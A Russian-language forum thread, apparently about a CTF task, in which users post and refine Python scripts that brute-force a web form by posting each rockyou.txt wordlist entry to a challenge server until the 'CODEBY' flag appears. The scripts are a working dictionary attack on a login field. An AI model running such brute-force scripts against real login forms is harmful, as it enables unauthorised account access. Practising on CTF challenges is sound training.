 |

19.07.2023, 01:12
|
|
Новичок
Регистрация: 20.02.2022
Сообщений: 0
С нами:
2226531
Репутация:
0
|
|
Python:
Код:
import
requests
f
=
open
(
"/usr/share/wordlists/rockyou.txt"
,
mode
=
"r"
)
f
.
readline
(
)
for
i
in
f
:
key
=
{
"word"
:
i
}
r
=
requests
.
post
(
"http://62.173.140.174:13000/"
,
data
=
key
)
print
(
r
.
text
)
#print(content)
print
(
i
)
f
.
close
(
)
Ищем флаг глазами, если увидели останавилваем прогу, копируем и проходим таск!
Я пытался сделать остановку по клчючевому слову "CODEBY", но он почему-то не хотел. Если знаете как это сделать, то напишите.
Моя попытка:
Python:
Код:
import
requests
from
bs4
import
BeautifulSoup
f
=
open
(
"/usr/share/wordlists/rockyou.txt"
,
mode
=
"r"
)
f
.
readline
(
)
for
i
in
f
:
key
=
{
"word"
:
i
}
r
=
requests
.
post
(
"http://62.173.140.174:13000/"
,
data
=
key
)
soup
=
BeautifulSoup
(
r
.
text
,
"lxml"
)
#print(r.text)
content
=
soup
.
find
(
'p'
,
id
=
'strong'
)
#print(content)
if
str
(
"CODEBY"
)
in
str
(
content
)
:
print
(
i
)
f
.
close
(
)
|
|
|

19.07.2023, 01:43
|
|
Постоянный
Регистрация: 28.05.2022
Сообщений: 800
С нами:
2086530
Репутация:
0
|
|
Python:
Код:
import
requests
with
open
(
"words"
,
mode
=
"r"
)
as
file
:
words
=
file
.
read
(
)
.
split
(
)
# Разделить на список слов
for
word
in
words
:
key
=
{
"word"
:
word
}
r
=
requests
.
post
(
"http://62.173.140.174:13000/"
,
data
=
key
)
if
"CODEBY"
in
r
.
text
:
print
(
f'Password:{word}'
)
print
(
f'Flag:{r.text[595:618]}'
)
break
|
|
|

19.07.2023, 02:49
|
|
Новичок
Регистрация: 20.02.2022
Сообщений: 0
С нами:
2226531
Репутация:
0
|
|
Exited3n сказал(а):
Python:
Код:
import
requests
with
open
(
"words"
,
mode
=
"r"
)
as
file
:
words
=
file
.
read
(
)
.
split
(
)
# Разделить на список слов
for
word
in
words
:
key
=
{
"word"
:
word
}
r
=
requests
.
post
(
"http://62.173.140.174:13000/"
,
data
=
key
)
if
"CODEBY"
in
r
.
text
:
print
(
f'Password:{word}'
)
print
(
f'Flag:{r.text[595:618]}'
)
break
вот я и нашёл у себя ошибку, спасибо за ответ
|
|
|

25.08.2023, 01:30
|
|
Новичок
Регистрация: 25.08.2023
Сообщений: 0
С нами:
1433819
Репутация:
0
|
|
D3L1F3R сказал(а):
Python:
Код:
import
requests
f
=
open
(
"/usr/share/wordlists/rockyou.txt"
,
mode
=
"r"
)
f
.
readline
(
)
for
i
in
f
:
key
=
{
"word"
:
i
}
r
=
requests
.
post
(
"http://62.173.140.174:13000/"
,
data
=
key
)
print
(
r
.
text
)
#print(content)
print
(
i
)
f
.
close
(
)
Ищем флаг глазами, если увидели останавилваем прогу, копируем и проходим таск!
Я пытался сделать остановку по клчючевому слову "CODEBY", но он почему-то не хотел. Если знаете как это сделать, то напишите.
Моя попытка:
Python:
Код:
import
requests
from
bs4
import
BeautifulSoup
f
=
open
(
"/usr/share/wordlists/rockyou.txt"
,
mode
=
"r"
)
f
.
readline
(
)
for
i
in
f
:
key
=
{
"word"
:
i
}
r
=
requests
.
post
(
"http://62.173.140.174:13000/"
,
data
=
key
)
soup
=
BeautifulSoup
(
r
.
text
,
"lxml"
)
#print(r.text)
content
=
soup
.
find
(
'p'
,
id
=
'strong'
)
#print(content)
if
str
(
"CODEBY"
)
in
str
(
content
)
:
print
(
i
)
f
.
close
(
)
python3 | grep "CODEBY", как вариант с использованием утилиты командной строки grep, с поиском по ключевому слову
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|